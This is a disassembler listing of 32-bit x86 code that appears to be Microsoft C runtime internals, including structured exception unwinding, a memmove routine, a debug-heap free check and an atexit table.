sub_41F520 proc near ; CODE XREF: sub_41F770+66p
; sub_42A540+38p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_41F54C
push 0
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_437A7C ; RtlUnwind
loc_41F54C: ; DATA XREF: sub_41F520+12o
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
and ecx, 0FFFFFFFDh
mov edx, [ebp+arg_4]
mov [edx+4], ecx
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
sub_41F520 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F580 proc near ; CODE XREF: seg000:00437FD4j
; seg000:00437FEEj ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
cld
mov [ebp+var_8], eax
push 0
push 0
push 0
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_429EA0
add esp, 20h
mov [ebp+var_4], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41F580 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
mov ecx, [eax+1Ch]
push ecx
mov edx, [ebp+8]
mov eax, [edx+28h]
push eax
push 0
mov ecx, [ebp+8]
mov edx, [ecx+18h]
push edx
call sub_42A410
add esp, 10h
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F5F0 proc near ; CODE XREF: sub_42A600+8Ap
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_14], 0
mov [ebp+var_10], offset sub_41F660
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_C]
add edx, 1
mov [ebp+var_4], edx
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_8]
push edx
call sub_42AB00
mov [ebp+var_18], eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, [ebp+var_18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41F5F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F660 proc near ; DATA XREF: sub_41F5F0+10o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
push 0
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+10h]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
push ecx
push 0
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+0Ch]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_429EA0
add esp, 20h
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41F660 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F6A0 proc near ; CODE XREF: sub_42A230+2Dp
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
mov [ebp+var_28], 0
mov [ebp+var_24], offset sub_41F770
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_1C], ecx
mov edx, [ebp+arg_14]
mov [ebp+var_18], edx
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
mov [ebp+var_10], 0
mov [ebp+var_C], 0
mov [ebp+var_8], 0
mov [ebp+var_4], 0
mov [ebp+var_10], offset loc_41F73C
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov ecx, [ebp+arg_0]
mov [ebp+var_30], ecx
mov edx, [ebp+arg_8]
mov [ebp+var_2C], edx
lea eax, [ebp+var_30]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_425C30
call dword ptr [eax+68h]
add esp, 8
mov [ebp+var_34], 0
loc_41F73C: ; DATA XREF: sub_41F6A0+4Bo
cmp [ebp+var_4], 0
jz short loc_41F759
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41F762
; ---------------------------------------------------------------------------
loc_41F759: ; CODE XREF: sub_41F6A0+A0j
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41F762: ; CODE XREF: sub_41F6A0+B7j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41F6A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F770 proc near ; DATA XREF: sub_41F6A0+10o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
and ecx, 66h
test ecx, ecx
jz short loc_41F795
mov edx, [ebp+arg_4]
mov dword ptr [edx+24h], 1
mov eax, 1
jmp short loc_41F7EC
; ---------------------------------------------------------------------------
loc_41F795: ; CODE XREF: sub_41F770+12j
push 1
mov eax, [ebp+arg_4]
mov ecx, [eax+14h]
push ecx
mov edx, [ebp+arg_4]
mov eax, [edx+10h]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
push edx
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+0Ch]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_429EA0
add esp, 20h
mov ecx, [ebp+arg_4]
cmp dword ptr [ecx+24h], 0
jnz short loc_41F7DB
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_41F520
loc_41F7DB: ; CODE XREF: sub_41F770+5Cj
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
mov eax, 1
loc_41F7EC: ; CODE XREF: sub_41F770+23j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41F770 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F800 proc near ; CODE XREF: sub_429F90+135p
; sub_42A230+52p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, [eax+10h]
mov esi, [eax+0Ch]
mov [ebp+var_4], ecx
mov ecx, [ebp+arg_4]
test ecx, ecx
mov edi, esi
mov ebx, esi
jl short loc_41F859
loc_41F81E: ; CODE XREF: sub_41F800+54j
cmp esi, 0FFFFFFFFh
jnz short loc_41F828
call sub_42AC00
loc_41F828: ; CODE XREF: sub_41F800+21j
mov eax, [ebp+var_4]
dec esi
mov ecx, [ebp+arg_8]
lea edx, [esi+esi*4]
lea eax, [eax+edx*4]
cmp [eax+4], ecx
jge short loc_41F83F
cmp ecx, [eax+8]
jle short loc_41F844
loc_41F83F: ; CODE XREF: sub_41F800+38j
cmp esi, 0FFFFFFFFh
jnz short loc_41F84F
loc_41F844: ; CODE XREF: sub_41F800+3Dj
mov eax, [ebp+arg_4]
mov edi, ebx
dec eax
mov ebx, esi
mov [ebp+arg_4], eax
loc_41F84F: ; CODE XREF: sub_41F800+42j
mov eax, [ebp+arg_4]
test eax, eax
jge short loc_41F81E
mov eax, [ebp+arg_0]
loc_41F859: ; CODE XREF: sub_41F800+1Cj
mov ecx, [ebp+arg_C]
mov edx, [ebp+arg_10]
inc esi
mov [ecx], esi
mov [edx], edi
cmp edi, [eax+0Ch]
ja short loc_41F86D
cmp esi, edi
jbe short loc_41F872
loc_41F86D: ; CODE XREF: sub_41F800+67j
call sub_42AC00
loc_41F872: ; CODE XREF: sub_41F800+6Bj
mov ecx, [ebp+var_4]
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ecx+eax*4]
pop ebx
mov esp, ebp
pop ebp
retn
sub_41F800 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F890 proc near ; CODE XREF: sub_42CA04+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_41F8A8
push [ebp+arg_0]
call sub_437A7C ; RtlUnwind
loc_41F8A8: ; DATA XREF: sub_41F890+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41F890 endp
; =============== S U B R O U T I N E =======================================
sub_41F8B0 proc near ; DATA XREF: sub_41F8D2+Ao
; sub_41F93A+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_41F8D1
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_41F8D1: ; CODE XREF: sub_41F8B0+10j
retn
sub_41F8B0 endp
; =============== S U B R O U T I N E =======================================
sub_41F8D2 proc near ; CODE XREF: sub_42A600+C2p
; sub_42CA04+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_41F8B0
push large dword ptr fs:0
mov large fs:0, esp
loc_41F8EF: ; CODE XREF: sub_41F8D2:loc_41F92Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41F92C
cmp esi, [esp+1Ch+arg_4]
jz short loc_41F92C
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41F92A
push 101h
mov eax, [ebx+esi*4+8]
call sub_41F966
call dword ptr [ebx+esi*4+8]
loc_41F92A: ; CODE XREF: sub_41F8D2+44j
jmp short loc_41F8EF
; ---------------------------------------------------------------------------
loc_41F92C: ; CODE XREF: sub_41F8D2+2Aj
; sub_41F8D2+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41F8D2 endp
; =============== S U B R O U T I N E =======================================
sub_41F93A proc near ; CODE XREF: sub_42A6DD+4Bp
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_41F8B0
jnz short locret_41F95C
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41F95C
mov eax, 1
locret_41F95C: ; CODE XREF: sub_41F93A+10j
; sub_41F93A+1Bj
retn
sub_41F93A endp
; =============== S U B R O U T I N E =======================================
sub_41F95D proc near ; CODE XREF: sub_42AB00+1Ep
; sub_42AB00+40p
push ebx
push ecx
mov ebx, offset dword_44FD0C
jmp short loc_41F970
sub_41F95D endp
; =============== S U B R O U T I N E =======================================
sub_41F966 proc near ; CODE XREF: sub_41F8D2+4Fp
; sub_42CA04+78p
push ebx
push ecx
mov ebx, offset dword_44FD0C
mov ecx, [ebp+8]
loc_41F970: ; CODE XREF: sub_41F95D+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41F966 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41F980 proc near ; CODE XREF: sub_40D017+5p
; sub_40D18E+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_41F980 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F9A0 proc near ; CODE XREF: sub_40D894+Cp
; sub_422240+581p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41F9C0
cmp edi, eax
jb loc_41FB38
loc_41F9C0: ; CODE XREF: sub_41F9A0+16j
test edi, 3
jnz short loc_41F9DC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41F9FC
rep movsd
jmp ds:off_41FAE8[edx*4]
; ---------------------------------------------------------------------------
loc_41F9DC: ; CODE XREF: sub_41F9A0+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41F9F4
and eax, 3
add ecx, eax
jmp dword ptr ds:loc_41F9FC+4[eax*4]
; ---------------------------------------------------------------------------
loc_41F9F4: ; CODE XREF: sub_41F9A0+46j
jmp dword ptr ds:loc_41FAF8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41F9FC: ; CODE XREF: sub_41F9A0+31j
; sub_41F9A0+8Ej ...
jmp ds:off_41FA7C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41FA10
dd offset loc_41FA3C
dd offset loc_41FA60
; ---------------------------------------------------------------------------
loc_41FA10: ; DATA XREF: sub_41F9A0+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41F9FC
rep movsd
jmp ds:off_41FAE8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41FA3C: ; DATA XREF: sub_41F9A0+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41F9FC
rep movsd
jmp ds:off_41FAE8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41FA60: ; DATA XREF: sub_41F9A0+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41F9FC
rep movsd
jmp ds:off_41FAE8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41FA7C dd offset loc_41FADF ; DATA XREF: sub_41F9A0:loc_41F9FCr
dd offset loc_41FACC
dd offset loc_41FAC4
dd offset loc_41FABC
dd offset loc_41FAB4
dd offset loc_41FAAC
dd offset loc_41FAA4
dd offset loc_41FA9C
; ---------------------------------------------------------------------------
loc_41FA9C: ; CODE XREF: sub_41F9A0:loc_41F9FCj
; DATA XREF: sub_41F9A0+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41FAA4: ; CODE XREF: sub_41F9A0:loc_41F9FCj
; DATA XREF: sub_41F9A0+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41FAAC: ; CODE XREF: sub_41F9A0:loc_41F9FCj
; DATA XREF: sub_41F9A0+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41FAB4: ; CODE XREF: sub_41F9A0:loc_41F9FCj
; DATA XREF: sub_41F9A0+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41FABC: ; CODE XREF: sub_41F9A0:loc_41F9FCj
; DATA XREF: sub_41F9A0+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41FAC4: ; CODE XREF: sub_41F9A0:loc_41F9FCj
; DATA XREF: sub_41F9A0+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41FACC: ; CODE XREF: sub_41F9A0:loc_41F9FCj
; DATA XREF: sub_41F9A0+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41FADF: ; CODE XREF: sub_41F9A0:loc_41F9FCj
; DATA XREF: sub_41F9A0:off_41FA7Co
jmp ds:off_41FAE8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41FAE8 dd offset loc_41FAF8 ; DATA XREF: sub_41F9A0+35r
; sub_41F9A0+92r ...
dd offset loc_41FB00
dd offset loc_41FB0C
dd offset loc_41FB20
; ---------------------------------------------------------------------------
loc_41FAF8: ; CODE XREF: sub_41F9A0+35j
; sub_41F9A0+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41FB00: ; CODE XREF: sub_41F9A0+35j
; sub_41F9A0+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41FB0C: ; CODE XREF: sub_41F9A0+35j
; sub_41F9A0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41FB20: ; CODE XREF: sub_41F9A0+35j
; sub_41F9A0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41FB38: ; CODE XREF: sub_41F9A0+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41FB6C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41FB60
std
rep movsd
cld
jmp ds:off_41FC80[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41FB60: ; CODE XREF: sub_41F9A0+1B1j
; sub_41F9A0+208j ...
neg ecx
jmp ds:off_41FC30[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41FB6C: ; CODE XREF: sub_41F9A0+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41FB84
and eax, 3
sub ecx, eax
jmp dword ptr ds:loc_41FB84+4[eax*4]
; ---------------------------------------------------------------------------
loc_41FB84: ; CODE XREF: sub_41F9A0+1D6j
; DATA XREF: sub_41F9A0+1DDr
jmp ds:off_41FC80[ecx*4]
; ---------------------------------------------------------------------------
align 4
cwde
sti
inc ecx
add [eax-1FFFBE05h], bh
sti
inc ecx
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41FB60
std
rep movsd
cld
jmp ds:off_41FC80[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41FB60
std
rep movsd
cld
jmp ds:off_41FC80[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41FB60
std
rep movsd
cld
jmp ds:off_41FC80[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41FC34
dd offset loc_41FC3C
dd offset loc_41FC44
dd offset loc_41FC4C
dd offset loc_41FC54
dd offset loc_41FC5C
dd offset loc_41FC64
off_41FC30 dd offset loc_41FC77 ; DATA XREF: sub_41F9A0+1C2r
; ---------------------------------------------------------------------------
loc_41FC34: ; DATA XREF: sub_41F9A0+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41FC3C: ; DATA XREF: sub_41F9A0+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41FC44: ; DATA XREF: sub_41F9A0+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41FC4C: ; DATA XREF: sub_41F9A0+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41FC54: ; DATA XREF: sub_41F9A0+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41FC5C: ; DATA XREF: sub_41F9A0+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41FC64: ; DATA XREF: sub_41F9A0+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41FC77: ; CODE XREF: sub_41F9A0+1C2j
; DATA XREF: sub_41F9A0:off_41FC30o
jmp ds:off_41FC80[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41FC80 dd offset loc_41FC90 ; DATA XREF: sub_41F9A0+1B7r
; sub_41F9A0:loc_41FB84r ...
dd offset loc_41FC98
dd offset loc_41FCA8
dd offset loc_41FCBC
; ---------------------------------------------------------------------------
loc_41FC90: ; CODE XREF: sub_41F9A0+1B7j
; sub_41F9A0:loc_41FB84j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41FC98: ; CODE XREF: sub_41F9A0+1B7j
; sub_41F9A0:loc_41FB84j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41FCA8: ; CODE XREF: sub_41F9A0+1B7j
; sub_41F9A0:loc_41FB84j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41FCBC: ; CODE XREF: sub_41F9A0+1B7j
; sub_41F9A0:loc_41FB84j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41F9A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FCE0 proc near ; CODE XREF: sub_40D98C+4p
; seg000:0040E688p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
cmp [ebp+arg_0], 0
jnz short loc_41FCF2
jmp loc_41FD7A
; ---------------------------------------------------------------------------
loc_41FCF2: ; CODE XREF: sub_41FCE0+Bj
push 9
call sub_421A80
add esp, 4
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+var_4], eax
loc_41FD05: ; CODE XREF: sub_41FCE0+7Bj
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 4
jz short loc_41FD57
mov eax, [ebp+var_4]
cmp dword ptr [eax+14h], 1
jz short loc_41FD57
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 2
jz short loc_41FD57
mov eax, [ebp+var_4]
cmp dword ptr [eax+14h], 3
jz short loc_41FD57
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 2Fh
push offset dword_439CF0
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41FD57
int 3 ; Trap to Debugger
loc_41FD57: ; CODE XREF: sub_41FCE0+34j
; sub_41FCE0+3Dj ...
xor ecx, ecx
test ecx, ecx
jnz short loc_41FD05
mov edx, [ebp+var_4]
mov eax, [edx+14h]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41B8F0
add esp, 8
push 9
call sub_421B20
add esp, 4
loc_41FD7A: ; CODE XREF: sub_41FCE0+Dj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41FCE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FD90 proc near ; CODE XREF: sub_40D9EC+Bp
; seg000:0040E4EBp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 1
mov eax, [ebp+arg_0]
push eax
call sub_41AE90
add esp, 8
pop ebp
retn
sub_41FD90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FDB0 proc near ; CODE XREF: sub_41FE70+7p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
call sub_41DB40
push 2
mov eax, ds:dword_4F0090
push eax
call sub_41BD30
add esp, 8
mov ecx, ds:dword_4F008C
sub ecx, ds:dword_4F0090
add ecx, 4
cmp eax, ecx
jnb short loc_41FE3D
push 68h
push offset dword_439CFC
push 2
push 2
mov edx, ds:dword_4F0090
push edx
call sub_41BD30
add esp, 8
add eax, 10h
push eax
mov eax, ds:dword_4F0090
push eax
call sub_41B2F0
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41FE1A
call sub_41DB50
xor eax, eax
jmp short loc_41FE5F
; ---------------------------------------------------------------------------
loc_41FE1A: ; CODE XREF: sub_41FDB0+5Fj
mov ecx, ds:dword_4F008C
sub ecx, ds:dword_4F0090
sar ecx, 2
mov edx, [ebp+var_4]
lea eax, [edx+ecx*4]
mov ds:dword_4F008C, eax
mov ecx, [ebp+var_4]
mov ds:dword_4F0090, ecx
loc_41FE3D: ; CODE XREF: sub_41FDB0+2Aj
mov edx, ds:dword_4F008C
mov eax, [ebp+arg_0]
mov [edx], eax
mov ecx, ds:dword_4F008C
add ecx, 4
mov ds:dword_4F008C, ecx
call sub_41DB50
mov eax, [ebp+arg_0]
loc_41FE5F: ; CODE XREF: sub_41FDB0+68j
mov esp, ebp
pop ebp
retn
sub_41FDB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FE70 proc near ; CODE XREF: seg000:0040D416p
; sub_4377C0+8p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push eax
call sub_41FDB0
add esp, 4
neg eax
sbb eax, eax
neg eax
dec eax
pop ebp
retn
sub_41FE70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FE90 proc near ; DATA XREF: seg002:0043C020o
push ebp
mov ebp, esp
push 0B6h
push offset dword_439CFC
push 2
push 80h
call sub_41AE60
add esp, 10h
mov ds:dword_4F0090, eax
cmp ds:dword_4F0090, 0
jnz short loc_41FEC4
push 18h
call sub_420CA0
add esp, 4
loc_41FEC4: ; CODE XREF: sub_41FE90+28j
mov eax, ds:dword_4F0090
mov dword ptr [eax], 0
mov ecx, ds:dword_4F0090
mov ds:dword_4F008C, ecx
pop ebp
retn
sub_41FE90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FEE0 proc near ; CODE XREF: sub_40DA10+77p
; sub_40F19D+151p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push offset dword_4EED14
call ds:dword_4F1428 ; InterlockedIncrement
cmp ds:dword_4EED10, 0
jz short loc_41FF18
push offset dword_4EED14
call ds:dword_4F1424 ; InterlockedDecrement
push 13h
call sub_421A80
add esp, 4
mov [ebp+var_4], 1
jmp short loc_41FF1F
; ---------------------------------------------------------------------------
loc_41FF18: ; CODE XREF: sub_41FEE0+18j
mov [ebp+var_4], 0
